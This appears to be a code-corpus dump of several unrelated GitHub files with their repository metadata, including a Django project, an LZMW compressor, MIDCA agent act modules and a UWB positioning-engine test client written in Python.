| 2021-05-22T14:20:48
| 365,274,296
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 309
|
py
|
import pandas as pd
Kaynak = pd.read_csv('C:\\Python\\Project\\Deneme\\top50.csv',usecols=['Unnamed: 0','Track.Name','Genre','Danceability'])
Kaynak_Genre = Kaynak['Genre'][:]
import matplotlib.pyplot as plt
y = Kaynak['Danceability'][:]
x = Kaynak['Unnamed: 0'][:]
plt.barh(x, y, height = 0.1)
plt.show()
|
[
"noreply@github.com"
] |
organichacker.noreply@github.com
|
7ba620607c2587cb5f225e039c698cae340a4015
|
3c0f8b3ff8e15d354a92ab060a9bda187f1eb4af
|
/blog/migrations/0004_blogcategory_parent.py
|
fcdf3d2bce1cdf390d1b68f1a2d3d0b5c1b6b873
|
[] |
no_license
|
TamannaArora/Blogging
|
cc9baedb0bfe1e6b19923fdcae749dbafd740d54
|
57467e4c5f311db45878a588e94eaac91ab160e6
|
refs/heads/master
| 2022-12-15T04:53:56.092112
| 2018-09-24T06:35:40
| 2018-09-24T06:35:40
| 149,570,576
| 0
| 0
| null | 2022-12-07T23:52:22
| 2018-09-20T07:38:17
|
Python
|
UTF-8
|
Python
| false
| false
| 694
|
py
|
# Generated by Django 2.0.8 on 2018-09-07 10:57
from django.db import migrations, models
import django.db.models.deletion
class Migration(migrations.Migration):
dependencies = [
('blog', '0003_blogpage_author'),
]
operations = [
migrations.AddField(
model_name='blogcategory',
name='parent',
field=models.ForeignKey(blank=True, help_text='Categories, unlike tags, can have a hierarchy. You might have a Jazz category, and under that have children categories for Bebop and Big Band. Totally optional.', null=True, on_delete=django.db.models.deletion.CASCADE, related_name='children', to='blog.BlogCategory'),
),
]
|
[
"tamanna.arora@netsolutions.com"
] |
tamanna.arora@netsolutions.com
|
2e12579543198362bbc5700bcf87a57054c877db
|
fb87f29a2cc1997b38943191a416cc32ba095f6d
|
/doc.py
|
b66347cb1de430daca2a52196f407489a0ae3f72
|
[] |
no_license
|
Lludion/QGOL
|
05a6e58c69085ec89a09a2d482fce96eded70ec5
|
03b902a2fb2334a008b2ec840f094cf71b372f0d
|
refs/heads/main
| 2023-01-08T21:50:25.577876
| 2020-11-11T10:46:42
| 2020-11-11T10:50:06
| 303,635,962
| 4
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 51
|
py
|
from doc.documentation_creator import main
main()
|
[
"ulysse.remond@outlook.fr"
] |
ulysse.remond@outlook.fr
|
b001592fbd0025106b5c0de3a8e0852a6fb0006e
|
226b1c73a706f4734834196d18305d4d2c873589
|
/synlib/descriptions/EDFFXL.py
|
206bab5d4710ad637b02fca8e34e937d415a73fb
|
[] |
no_license
|
ocakgun/vlsistuff
|
43b4b07ae186b8d2360d11c57cd10b861e96bcbe
|
776c07f5d0c40fe7d410b5c85e7381017d4dab64
|
refs/heads/master
| 2022-06-13T14:40:22.641310
| 2020-05-08T11:09:00
| 2020-05-08T11:09:00
| null | 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 962
|
py
|
Desc = cellDescClass("EDFFXL")
Desc.properties["cell_leakage_power"] = "1762.140420"
Desc.properties["cell_footprint"] = "edff"
Desc.properties["area"] = "76.507200"
Desc.pinOrder = ['CK', 'D', 'E', 'IQ', 'IQN', 'Q', 'QN', 'next']
Desc.add_arc("CK","D","setup_rising")
Desc.add_arc("CK","D","hold_rising")
Desc.add_arc("CK","E","setup_rising")
Desc.add_arc("CK","E","hold_rising")
Desc.add_arc("CK","Q","rising_edge")
Desc.add_arc("CK","QN","rising_edge")
Desc.add_param("area",76.507200);
Desc.set_pin_job("CK","clock")
Desc.add_pin("CK","input")
Desc.add_pin("E","input")
Desc.add_pin("D","input")
Desc.add_pin("IQ","output")
Desc.add_pin_func("IQ","unknown")
Desc.add_pin("next","output")
Desc.add_pin_func("next","unknown")
Desc.add_pin("Q","output")
Desc.add_pin_func("Q","unknown")
Desc.add_pin("IQN","output")
Desc.add_pin_func("IQN","unknown")
Desc.add_pin("QN","output")
Desc.add_pin_func("QN","unknown")
Desc.set_job("flipflop")
CellLib["EDFFXL"]=Desc
|
[
"greenblat@mac.com"
] |
greenblat@mac.com
|
021e4fcee7a62e92f84e0a057de120f6f6d67961
|
6c8f3ab5f952d986a17edda582c5a039bf65c632
|
/django/consolidate_project/consolidate_project/settings.py
|
08a82252a1c6016afd3b14e4b91661d7bd5f4c59
|
[] |
no_license
|
phillipn/coding_bootcamp_projects
|
3d3bd697728dd4502267e0cd2be7a090952029a8
|
278f96df9d256364583654a00fe585d474ea86a1
|
refs/heads/master
| 2021-01-17T17:30:14.607944
| 2017-03-19T18:12:32
| 2017-03-19T18:12:32
| 82,971,619
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 3,218
|
py
|
"""
Django settings for consolidate_project project.
Generated by 'django-admin startproject' using Django 1.10.5.
For more information on this file, see
https://docs.djangoproject.com/en/1.10/topics/settings/
For the full list of settings and their values, see
https://docs.djangoproject.com/en/1.10/ref/settings/
"""
import os
# Build paths inside the project like this: os.path.join(BASE_DIR, ...)
BASE_DIR = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))
# Quick-start development settings - unsuitable for production
# See https://docs.djangoproject.com/en/1.10/howto/deployment/checklist/
# SECURITY WARNING: keep the secret key used in production secret!
SECRET_KEY = 'tqgt7)2b(iphav%!(5-e1(6kk%x=*o^#&i_aa_ab55)t0xgj5_'
# SECURITY WARNING: don't run with debug turned on in production!
DEBUG = True
ALLOWED_HOSTS = []
# Application definition
INSTALLED_APPS = [
'apps.login',
'apps.registration',
'apps.turtles',
'apps.classes',
'django.contrib.admin',
'django.contrib.auth',
'django.contrib.contenttypes',
'django.contrib.sessions',
'django.contrib.messages',
'django.contrib.staticfiles',
]
MIDDLEWARE = [
'django.middleware.security.SecurityMiddleware',
'django.contrib.sessions.middleware.SessionMiddleware',
'django.middleware.common.CommonMiddleware',
'django.middleware.csrf.CsrfViewMiddleware',
'django.contrib.auth.middleware.AuthenticationMiddleware',
'django.contrib.messages.middleware.MessageMiddleware',
'django.middleware.clickjacking.XFrameOptionsMiddleware',
]
ROOT_URLCONF = 'consolidate_project.urls'
TEMPLATES = [
{
'BACKEND': 'django.template.backends.django.DjangoTemplates',
'DIRS': [],
'APP_DIRS': True,
'OPTIONS': {
'context_processors': [
'django.template.context_processors.debug',
'django.template.context_processors.request',
'django.contrib.auth.context_processors.auth',
'django.contrib.messages.context_processors.messages',
],
},
},
]
WSGI_APPLICATION = 'consolidate_project.wsgi.application'
# Database
# https://docs.djangoproject.com/en/1.10/ref/settings/#databases
DATABASES = {
'default': {
'ENGINE': 'django.db.backends.sqlite3',
'NAME': os.path.join(BASE_DIR, 'db.sqlite3'),
}
}
# Password validation
# https://docs.djangoproject.com/en/1.10/ref/settings/#auth-password-validators
AUTH_PASSWORD_VALIDATORS = [
{
'NAME': 'django.contrib.auth.password_validation.UserAttributeSimilarityValidator',
},
{
'NAME': 'django.contrib.auth.password_validation.MinimumLengthValidator',
},
{
'NAME': 'django.contrib.auth.password_validation.CommonPasswordValidator',
},
{
'NAME': 'django.contrib.auth.password_validation.NumericPasswordValidator',
},
]
# Internationalization
# https://docs.djangoproject.com/en/1.10/topics/i18n/
LANGUAGE_CODE = 'en-us'
TIME_ZONE = 'UTC'
USE_I18N = True
USE_L10N = True
USE_TZ = True
# Static files (CSS, JavaScript, Images)
# https://docs.djangoproject.com/en/1.10/howto/static-files/
STATIC_URL = '/static/'
|
[
"phillipn101@gmail.com"
] |
phillipn101@gmail.com
|
098d337ffef7cf815b953a5de956a51ed097c7e9
|
00f5c993537b49e415db9e0010679fc56b3d9239
|
/LZMW.py
|
177a3064fe6671bcfd7c7fa1ef7987ecffcc379c
|
[] |
no_license
|
rgkaw/LZW-LZMW-and-LZAP
|
e0980d4d540fe6c40c658f77b74ed31caa603f5e
|
ea0caafacdc529fa36d4c33d19ef2f20182224a8
|
refs/heads/main
| 2023-06-02T06:09:47.458065
| 2021-06-22T17:26:13
| 2021-06-22T17:26:13
| 378,699,327
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 5,117
|
py
|
def encode(array):
last=256
i=0
array_len=len(array)
prev_match=b''
match=b''
out=[]
while(i<array_len):
match=bytes([array[i]])
while(match in dictionary):
i=i+1
try:
match=match+bytes([array[i]])
except:
match=match+bytes([array[i-1]])
break
match=match[:-1]
out.append(dictionary[match])
if(prev_match+match) not in dictionary:
x=match
dictionary[prev_match+match]=last
last+=1
prev_match=match
return out
def output_to_bytes(array):
i=0
bits=0
bit_chunks=0
#max length in decimal
mldec=max(array)
#max length in binary
mlbin=1
x=mldec
out=[]
while x>1:
x=x>>1
mlbin+=1
out.append(mlbin)
while i<len(array):
while bits<=mlbin:
j=array[i]
i=i+1
x=j
bit_chunks=(bit_chunks<<mlbin)|j
bits=bits+mlbin
if i>=len(array):
break
while bits>=8:
bits=bits-8
temp=bit_chunks>>(bits)
out.append(temp)
bit_chunks=bit_chunks&((2**(bits))-1)
if i>=len(array):
if(bits!=0):
padding=8-bits
bit_chunks=(bit_chunks<<(padding))|((2**padding)-1)
out.append(bit_chunks)
out.append(padding)
else:
out.append(0)
return bytes(out)
from time import sleep
def get_string(idx):
a=b''
for i in dictionary:
if dictionary[i]==idx:
a=i
return a
def decode(array):
out=b''
match=b''
prev_match=b''
last=256
try:
for i in array:
match=get_string(i)
out=out+match
x=b''
x=(prev_match)+match
if x not in dictionary:
dictionary[x]=last
last+=1
prev_match=match
except:
out=out+(get_string(i))
return out
def bytes_to_int(array):
out=[]
byte_chunk=0
bits=0
length=array[0]
padding=array[-1]
array=array[1:-1]
size=len(array)
i=0
while i<size-1:
while (bits<length) & (i<size-1):
#print(array[i])
#sleep(1)
#print(type(byte_chunk))
byte_chunk=(byte_chunk<<8)+array[i]
bits=bits+8
i+=1
# print('1',byte_chunk,bits)
while bits>=length:
bits=bits-length
temp=byte_chunk>>(bits)
out.append(temp)
byte_chunk=byte_chunk&((2**bits)-1)
byte_chunk=(byte_chunk<<8)+array[i]
byte_chunk=byte_chunk>>padding
out.append(byte_chunk)
return out
def compress():
print('You choose to compress file. Place file to compress in the same directory as this program.')
input_file=str(input("Input file (ex :file.txt): "))
f=open(file=input_file,mode='r+b')
input_=f.read()
file_name=''
for i in input_file:
if i == '.':
break
file_name=file_name+i
print("making dictionary...")
#make dictionary
dictionary={bytes([i]):i for i in range(256)}
print("\tinput size\t: ",len(input_),'bytes')
print("compressing...")
output=encode(input_)
print("converting to bytes...")
#convert output list into bytes
output=output_to_bytes(output)
print("saving file....")
print("\toutput size:\t",len(output),"bytes")
#WRITE FILE OUTPUT
f=open(file=file_name+'.LZMW',mode='w+b')
f.write(output)
f.close()
print("done!!")
def decompress():
print('You choose to decompress file. Place file to decompress in the same directory as this program.')
input_file=input(str("Input file (ex :file.LZMW): "))
file_name=''
for i in input_file:
if i == '.':
break
file_name=file_name+i
f=open(file=input_file,mode='r+b')
input_=f.read()
print("\tfile size: ",len(input_),'bytes')
print("preparing files...")
input_=bytes_to_int(input_)
print("creating dictionary...")
dictionary={bytes([i]):i for i in range(256)}
print("decompressing...")
output=decode(input_)
print("done!")
print("\toutput size:\t",len(output),'\n')
f=open(file=file_name+'_LZMW.txt',mode='w+b')
f.write(output)
f.close()
while True:
dictionary={bytes([i]):i for i in range(256)}
try:
choice=int(input("1. compress\n2. decompress\n0. exit\n\tyour choice:"))
try:
if choice==1:
compress()
elif choice==2:
decompress()
elif choice==0:
break
else:
print("invalid input")
except:
print('cannot find file...')
except:
print("invalid input (not integer)")
|
[
"noreply@github.com"
] |
rgkaw.noreply@github.com
|
9024d6d29a05f047350bb653f30fa1105ce5e289
|
8ded9e9a614064489e999316fc79f517e0c1bc1b
|
/midca/modules/act.py
|
ffd81a660e2cdf427234cdbddf3511e5ee5ca96b
|
[] |
no_license
|
COLAB2/GraceMIDCA
|
32553b958c46d8a1ee043d1ff5c1d6fb908cc942
|
43925081dfb19088fb3454c36a5286789fe9c140
|
refs/heads/master
| 2020-07-07T03:20:37.468101
| 2020-03-30T23:37:02
| 2020-03-30T23:37:02
| 203,229,031
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 16,720
|
py
|
from midca.modules._plan.asynch import asynch
from midca import base
import copy
class AsynchronousAct(base.BaseModule):
'''
MIDCA module that "executes" plans in which the individual actions will be conducted
asynchronously. This was originally designed to allow MIDCA to work as a robot
controller in communication with ROS sensor and effector nodes.
'''
def run(self, cycle, verbose = 2):
self.verbose = verbose
try:
goals = self.mem.get(self.mem.CURRENT_GOALS)[-1]
except:
goals = []
if not goals:
if verbose >= 2:
print "No Active goals. Act phase will do nothing"
return
try:
plan = self.mem.get(self.mem.GOAL_GRAPH).getMatchingPlan(goals)
except:
if verbose >= 1:
print "Error loading plan. Skipping act phase."
return
if not plan:
if verbose > 2:
print "No current plan. Skipping Act phase"
return
i = 0
if plan.finished():
print "Plan", plan, "has already been completed"
return
# ideally MIDCA should check for other valid plans, but for now it doesn't.
while i < len(plan):
action = plan[i]
try:
if action.status != asynch.FAILED and action.status != asynch.COMPLETE:
completed = action.check_complete()
if completed:
self.mem.add(self.mem.ACTIONS, [action.midcaAction])
if verbose >= 2:
print "Action", action, "completed"
except AttributeError:
if verbose >= 1:
print "Action", action, "Does not seem to have a valid check_complete() ",
"method. Therefore MIDCA cannot execute it."
action.status = asynch.FAILED
try:
if action.status == asynch.NOT_STARTED:
if verbose >= 2:
print "Beginning action execution for", action
action.execute()
except AttributeError:
if verbose >= 1:
print "Action", action, "Does not seem to have a valid execute() ",
"method. Therefore MIDCA cannot execute it"
action.status = asynch.FAILED
if action.status == asynch.COMPLETE:
i += 1
elif not action.blocks:
i += 1
else:
break
class SimpleAct(base.BaseModule):
'''
MIDCA module that selects the plan, if any, that achieves the most current goals, then selects the next action from that plan. The selected action is stored in a two-dimensional array in mem[mem.ACTIONS], where mem[mem.ACTIONS][x][y] returns the yth action to be taken at time step x. So mem[mem.ACTIONS][-1][0] is the last action selected. Note that this will throw an index error if no action was selected.
To have MIDCA perform multiple actions in one cycle, simple add several actions to mem[mem.ACTIONS][-1]. So mem[mem.ACTIONS][-1][0] is the first action taken, mem[mem.ACTIONS][-1][1] is the second, etc.
'''
#returns the plan that achieves the most current goals, based on simulation.
def get_best_plan(self, world, goals, verbose):
plan = None
goalsAchieved = set()
goalGraph = self.mem.get(self.mem.GOAL_GRAPH)
for nextPlan in goalGraph.allMatchingPlans(goals):
achieved = world.goals_achieved(nextPlan, goals)
if len(achieved) > len(goalsAchieved):
goalsAchieved = achieved
plan = nextPlan
if len(achieved) == len(goals):
break
elif verbose >= 2:
print "Retrieved plan does not achieve all goals. Trying to retrieve a different plan..."
if verbose >= 3:
print " Retrieved Plan:"
for a in nextPlan:
print " "+str(a)
print "Goals achieved:", [str(goal) for goal in achieved]
if plan == None and verbose >= 1:
print "No valid plan found that achieves any current goals."
elif len(goalsAchieved) < len(goals) and verbose >= 1:
print "Best plan does not achieve all goals."
if verbose >= 2:
print "Plan:", str(plan)
print "Goals achieved:", [str(goal) for goal in goalsAchieved]
return plan
def run(self, cycle, verbose = 2):
self.verbose = verbose
max_plan_print_size = 5
world = self.mem.get(self.mem.STATES)[-1]
try:
goals = self.mem.get(self.mem.CURRENT_GOALS)[-1]
except :
goals = []
plan = self.get_best_plan(world, goals, verbose)
trace = self.mem.trace
if trace:
trace.add_module(cycle,self.__class__.__name__)
trace.add_data("WORLD", copy.deepcopy(world))
trace.add_data("GOALS", copy.deepcopy(goals))
trace.add_data("PLAN", copy.deepcopy(plan))
if plan != None:
action = plan.get_next_step()
if not action:
if verbose >= 1:
print "Plan to achieve goals has already been completed. Taking no action."
self.mem.add(self.mem.ACTIONS, [])
else:
if verbose == 1:
print "Action selected:", action
elif verbose >= 2:
if len(plan) > max_plan_print_size:
# print just the next 3 actions of the plan
print "Selected action", action, "from plan:\n"
if verbose >= 3:
for a in plan:
print " "+str(a)
else:
# print the whole plan
print "Selected action", action, "from plan:\n", plan
self.mem.add(self.mem.ACTIONS, [action])
actions = self.mem.get(self.mem.ACTIONS)
if len(actions) > 400:
actions = actions[200:] # trim off old stale actions
self.mem.set(self.mem.ACTIONS, actions)
#print "Trimmed off 200 old stale actions to save space"
plan.advance()
if trace: trace.add_data("ACTION", action)
else:
if verbose >= 1:
print "MIDCA will not select an action this cycle."
self.mem.add(self.mem.ACTIONS, [])
if goals:
for g in goals:
self.mem.get(self.mem.GOAL_GRAPH).remove(g)
if trace: trace.add_data("ACTION", None)
class SimpleAct_temporary(base.BaseModule):
'''
For both construction and restaurant domain
MIDCA module that selects the plan, if any, that achieves the most current goals, then selects the next action from that plan. The selected action is stored in a two-dimensional array in mem[mem.ACTIONS], where mem[mem.ACTIONS][x][y] returns the yth action to be taken at time step x. So mem[mem.ACTIONS][-1][0] is the last action selected. Note that this will throw an index error if no action was selected.
To have MIDCA perform multiple actions in one cycle, simple add several actions to mem[mem.ACTIONS][-1]. So mem[mem.ACTIONS][-1][0] is the first action taken, mem[mem.ACTIONS][-1][1] is the second, etc.
'''
# returns the plan that achieves the most current goals, based on simulation.
def get_best_plan(self, world, goals, verbose):
plan = None
goalsAchieved = set()
goalGraph = self.mem.get(self.mem.GOAL_GRAPH)
for nextPlan in goalGraph.allMatchingPlans(goals):
achieved = world.goals_achieved(nextPlan, goals)
if len(achieved) > len(goalsAchieved):
goalsAchieved = achieved
plan = nextPlan
if len(achieved) == len(goals):
break
elif verbose >= 2:
print "Retrieved plan does not achieve all goals. Trying to retrieve a different plan..."
if verbose >= 3:
print " Retrieved Plan:"
for a in nextPlan:
print " " + str(a)
print "Goals achieved:", [str(goal) for goal in achieved]
if plan == None and verbose >= 1:
print "No valid plan found that achieves any current goals."
elif len(goalsAchieved) < len(goals) and verbose >= 1:
print "Best plan does not achieve all goals."
if verbose >= 2:
print "Plan:", str(plan)
print "Goals achieved:", [str(goal) for goal in goalsAchieved]
return plan
def run(self, cycle, verbose=2):
self.verbose = verbose
max_plan_print_size = 5
world = self.mem.get(self.mem.STATES)[-1]
try:
goals = self.mem.get(self.mem.CURRENT_GOALS)
except:
goals = []
plan = self.get_best_plan(world, goals, verbose)
trace = self.mem.trace
if trace:
trace.add_module(cycle, self.__class__.__name__)
trace.add_data("WORLD", copy.deepcopy(world))
trace.add_data("GOALS", copy.deepcopy(goals))
trace.add_data("PLAN", copy.deepcopy(plan))
if plan != None:
action = plan.get_next_step()
if not action:
if verbose >= 1:
print "Plan to achieve goals has already been completed. Taking no action."
self.mem.add(self.mem.ACTIONS, [])
else:
if verbose == 1:
print "Action selected:", action
elif verbose >= 2:
if len(plan) > max_plan_print_size:
# print just the next 3 actions of the plan
print "Selected action", action, "from plan:\n"
if verbose >= 3:
for a in plan:
print " " + str(a)
else:
# print the whole plan
print "Selected action", action, "from plan:\n", plan
self.mem.add(self.mem.ACTIONS, [action])
actions = self.mem.get(self.mem.ACTIONS)
if len(actions) > 400:
actions = actions[200:] # trim off old stale actions
self.mem.set(self.mem.ACTIONS, actions)
# print "Trimmed off 200 old stale actions to save space"
plan.advance()
if trace: trace.add_data("ACTION", action)
else:
if verbose >= 1:
print "MIDCA will not select an action this cycle."
self.mem.add(self.mem.ACTIONS, [])
if goals:
for g in goals:
self.mem.get(self.mem.GOAL_GRAPH).remove(g)
if trace: trace.add_data("ACTION", None)
class NBeaconsSimpleAct(base.BaseModule):
'''
MIDCA module that selects the plan, if any, that achieves the most current goals, then selects the next action from that plan. The selected action is stored in a two-dimensional array in mem[mem.ACTIONS], where mem[mem.ACTIONS][x][y] returns the yth action to be taken at time step x. So mem[mem.ACTIONS][-1][0] is the last action selected. Note that this will throw an index error if no action was selected.
To have MIDCA perform multiple actions in one cycle, simple add several actions to mem[mem.ACTIONS][-1]. So mem[mem.ACTIONS][-1][0] is the first action taken, mem[mem.ACTIONS][-1][1] is the second, etc.
'''
def get_first_plan(self, goals):
goalGraph = self.mem.get(self.mem.GOAL_GRAPH)
plans = goalGraph.allMatchingPlans(goals)
for p in plans:
if p.finished():
goalGraph.removePlan(p)
if self.verbose >= 1:
print "Just removed finished plan "
for ps in p:
print " "+str(ps)
else:
return p
if self.verbose >= 1: print "Could not find an unfinished plan in get_first_plan() for goals "+str(goals)
return None
def run(self, cycle, verbose = 2):
self.verbose = verbose
max_plan_print_size = 10
world = self.mem.get(self.mem.STATES)[-1]
try:
goals = self.mem.get(self.mem.CURRENT_GOALS)[-1]
except:
goals = []
plan = self.get_first_plan(goals)
trace = self.mem.trace
if trace:
trace.add_module(cycle,self.__class__.__name__)
trace.add_data("WORLD", copy.deepcopy(world))
trace.add_data("GOALS", copy.deepcopy(goals))
trace.add_data("PLAN", copy.deepcopy(plan))
if plan != None:
action = plan.get_next_step()
if not action:
if verbose >= 1:
print "Plan to achieve goals has already been completed. Taking no action."
self.mem.add(self.mem.ACTIONS, [])
else:
if verbose == 1:
print "Action selected:", action
elif verbose >= 2:
if len(plan) > max_plan_print_size:
# print just the next 3 actions of the plan
print "Selected action", action, "from plan:\n"
if verbose >= 3:
for a in plan:
if action == a:
print " *"+str(a)
else:
print " "+str(a)
else:
# print the whole plan
print "Selected action", action, "from plan:\n"
for a in plan:
if action == a:
print " *"+str(a)
else:
print " "+str(a)
self.mem.add(self.mem.ACTIONS, [action])
plan.advance()
if trace: trace.add_data("ACTION", action)
else:
if verbose >= 1:
print "MIDCA will not select an action this cycle."
self.mem.add(self.mem.ACTIONS, [])
if trace: trace.add_data("ACTION", None)
class Moosact(base.BaseModule):
def init(self, world, mem):
context = zmq.Context()
self.publisher = context.socket(zmq.PUB)
self.publisher.bind("tcp://127.0.0.1:5560")
self.mem = mem
self.world = world
def run(self, cycle, verbose = 2):
try:
#get selected actions for this cycle. This is set in the act phase.
actions = self.mem.get(self.mem.ACTIONS)[-1]
except TypeError, IndexError:
if verbose >= 1:
print "Simulator: no actions selected yet by MIDCA."
return
if actions:
for action in actions:
if self.world.midca_action_applicable(action):
if verbose >= 2:
print "simulating MIDCA action:", action
if (action.op == "survey"):
argnames = [str(arg) for arg in action.args]
if ("ga1" in argnames):
self.publisher.send_multipart(
[b"M", b"polygon= radial:: x=20, y=-80, radius=20, pts=8, snap=1, label=DUDLEY_LOITER"])
self.world.apply_midca_action(action)
if ("ga2" in argnames):
self.publisher.send_multipart([b"M",b"polygon= radial:: x=150, y=-80, radius=20, pts=8, snap=1, label=DUDLEY_LOITER"])
self.world.apply_midca_action(action)
if ("home" in argnames):
self.publisher.send_multipart([b"M", b"point = 0,0"])
self.world.apply_midca_action(action)
else:
if verbose >= 1:
print "MIDCA-selected action", action, "illegal in current world state. Skipping"
else:
if verbose >= 2:
print "No actions selected this cycle by MIDCA."
|
[
"sravyachowdary1994@gmail.com"
] |
sravyachowdary1994@gmail.com
|
45a82527d6560beaeb597f6c84a2d895aa67a527
|
49d843353d464410420f98bfffced7b9ffcde351
|
/PycharmProjects/Stage 2/day18/thread_1.py
|
bdfda35db27ac1b46a1cb5f8cee0168d1e3fc7c5
|
[] |
no_license
|
davidlu2002/AID2002
|
a634232a4c23e6541f1b164167d6f0dcdd77d95e
|
4eb6854493aea5440b4736acda29d99047c7db81
|
refs/heads/master
| 2022-10-18T14:56:56.673308
| 2020-06-10T02:14:10
| 2020-06-10T02:14:10
| 270,518,044
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 665
|
py
|
"""
thread_1.py 线程使用1
"""
from threading import Thread
from time import sleep
import os
a = 1 # 主线程的变量
def fun():
for i in range(3):
print(os.getpid(),"运行程序1")
sleep(2)
print("程序1运行完毕")
global a
print("a =",a)
a = 10000 # 分支线程内改变主线程的变量
# 创建线程对象
t = Thread(target=fun)
t.start() # 启动线程
# 主线程代码与分支线程代码同时执行
for i in range(4):
print(os.getpid(),"运行程序2")
sleep(1)
print("程序2运行完毕")
t.join() # 回收线程
print("main a:",a) # 所有线程共用一块空间
|
[
"2568899732@qq.com"
] |
2568899732@qq.com
|
b3bcc9971980112e5416187d1d42f22e61ee3885
|
ce93b078ac34a797e3950077fd0c226519e9930e
|
/venv/Scripts/easy_install-3.7-script.py
|
6c9212e7e98fe7d0a32ec9db20e22a05c23e1016
|
[] |
no_license
|
chetanpant11/HackerRankCompetitiveProgramming
|
9b8890a6ced45da700c2ba0586b208b8fef574db
|
0596d4a29a3abb9e5bc922d05e60c231fc50a46a
|
refs/heads/master
| 2020-06-12T22:11:18.447900
| 2020-06-02T14:09:12
| 2020-06-02T14:09:12
| 194,443,099
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 469
|
py
|
#!"C:\Users\CHETAN PANT\PycharmProjects\Hackerrank\venv\Scripts\python.exe"
# EASY-INSTALL-ENTRY-SCRIPT: 'setuptools==39.1.0','console_scripts','easy_install-3.7'
__requires__ = 'setuptools==39.1.0'
import re
import sys
from pkg_resources import load_entry_point
if __name__ == '__main__':
sys.argv[0] = re.sub(r'(-script\.pyw?|\.exe)?$', '', sys.argv[0])
sys.exit(
load_entry_point('setuptools==39.1.0', 'console_scripts', 'easy_install-3.7')()
)
|
[
"chetanpant87@gmail.com"
] |
chetanpant87@gmail.com
|
aed20090029a8657ee670be14f222021220a3fbf
|
1bdfc75a73cf424154e1eeeca2d77ada1548197c
|
/xinxi2.py
|
a3e54ba697bf74173f4ec34237963edf27c07077
|
[] |
no_license
|
15921970316/test_chor_new
|
6320d74ab92c3d8d8801c8086ff8b91b1fb85c12
|
8eba96786d5885027c979aa89a356d25a2a0a822
|
refs/heads/main
| 2023-01-19T23:32:14.586241
| 2020-11-26T02:44:56
| 2020-11-26T02:44:56
| 316,100,256
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 6,026
|
py
|
import datetime
import socket
import cou
import unit
from api.sk2 import xintiao, zhuce, CCPTX_Report, CCPRX_Report, BLINK_Report
import threading
import time
sk = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sk.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
Rx_seq=0
tts=0
Blink_seq=0
Blink_tts=0
filename = unit.BASE_DIR + "\data\Data.json"
anchor_cfg_list = unit.read_name_data2(filename, "anchor_cfg")
list = []
for i in anchor_cfg_list:
list.append(i)
# 分类接受打印引擎返回信息
def Recv_info(ms):
# print('分类接收打印引擎返回信息', ms)
global bs
try:
if ms == b'':
...
elif ms == 0 or ms == None:
print("连接失败")
elif ms[0] == 0x21:
...
# print("基站心跳包2：",hex(ms[0]),ms)
elif ms[0] == 0x43:
print("配置基站2定位参数：",hex(ms[0]),hex(ms[1]),hex(ms[2]))
elif ms[0] == 0x44:
print("配置基站2射频参数：",hex(ms[0]))
elif ms[0] == 0x57:
cou.rtls = 1
print('2定位开始：', hex(ms[0]), ms[1])
if ms[1]==1:
bs=1
elif ms[1]==0:
bs=0
else:
bs=3
elif ms[0] == 0x45:
print("配置基站2天线延迟参数：",hex(ms[0]) )
else:
print(" 2其他参数：", hex(ms[0]))
# ms.hex().encode(encoding="utf-8"))
except Exception as e:
print('服务器连接失败--2', e)
# 标签信息 无返回值
def Blink_info():
# 读取标签的addr文件
filename = unit.BASE_DIR + "\data\Data.json"
json1 = unit.read_name_data2(filename, "Tag_Addr_XYZ")
# json2 = unit.read_name_data(filename, "Blik_time")
# Blink_time=1/float(json2[0][0])
# print('2基站Blink发送频率为:{}HZ'.format(json2[0][0]))
X=-1
while True:
sep_c = Blink_seq
time1 = Blink_tts
if X != sep_c:
# time1 = cou.time2
try:
n = 0
for Tag_Addr in json1:
tt = time1+ cou.BINK(Tag_Addr[1][0], Tag_Addr[1][1], 2) - cou.BINK(
Tag_Addr[1][0], Tag_Addr[1][1], 1)
sk.send(BLINK_Report(sep_c, Tag_Addr[0], tt))
n += 1
# def anchor1():
# tt = cou.BINK(90, 90, 2) - cou.BINK(90, 90, 1)
# sk.send(BLINK_Report(sep_c, addr1, time1 + tt+1))
#
# def anchor2():
# tt = cou.BINK(50, 50, 2) - cou.BINK(50, 50, 1)
# sk.send(BLINK_Report(sep_c, addr2, time1 + tt+4))
#
# def anchor3():
# tt = cou.BINK(20, 20, 2) - cou.BINK(20, 20, 1)
# sk.send(BLINK_Report(sep_c, addr3, time1 + tt+12))
#
# t1 = threading.Thread(target=anchor1)
# t2 = threading.Thread(target=anchor2)
# t3 = threading.Thread(target=anchor3)
# t1.start()
# t2.start()
# t3.start()
X = sep_c
except Exception as e:
print('服务器连接失败--222', e)
# 在启动TDOA定位后，所有的基站都会向定位引擎发送时间同步包接收报告
def CCPRX_Report2():
Rxseq = -1
x=0
while True:
while True:
x=Rx_seq
if Rxseq!=x:
try:
t=tts+ cou.BINK(list[1][1][0], list[1][1][1], 0)
# print('CCPTX_Report2----', x, t)
sk.send(CCPRX_Report(x, t,list[0][0]))
cou.time2=t
# t = cou.time3 + int(0.15 * 499.2e6 * 128.0)
Rxseq = Rx_seq
break
except Exception as e:
print('CCPRX_Report2', e)
else:
...
#计时器
def time_x():
t = 0b0000000000000000000000000000001100000011
while True:
if t >= 1099511627775:
t = 0b0000000000000000000000000000000000000000
cou.time2=0
# report_name = os.path.dirname(os.path.abspath(__file__)) + "/report/test_info.html"
# time.sleep(0.1)
cou.time2=cou.time2+1
t+=1
# 心跳间隔是2秒 2秒发送一个心跳包并且收到引擎一个心跳回访 一旦超时未收到双方连接立即中断
def xintiao2():
i = 0
while True:
try:
sk.send(xintiao())
ms = sk.recv(1024)
Recv_info(ms)
i += 1
time.sleep(5)
except Exception as e:
print('服务器连接失败--2', e)
break
while True:
try:
filename = unit.BASE_DIR + "\data\Data.json"
json = unit.get_json_data(filename)
sk.connect((json["ip"],json['port']))
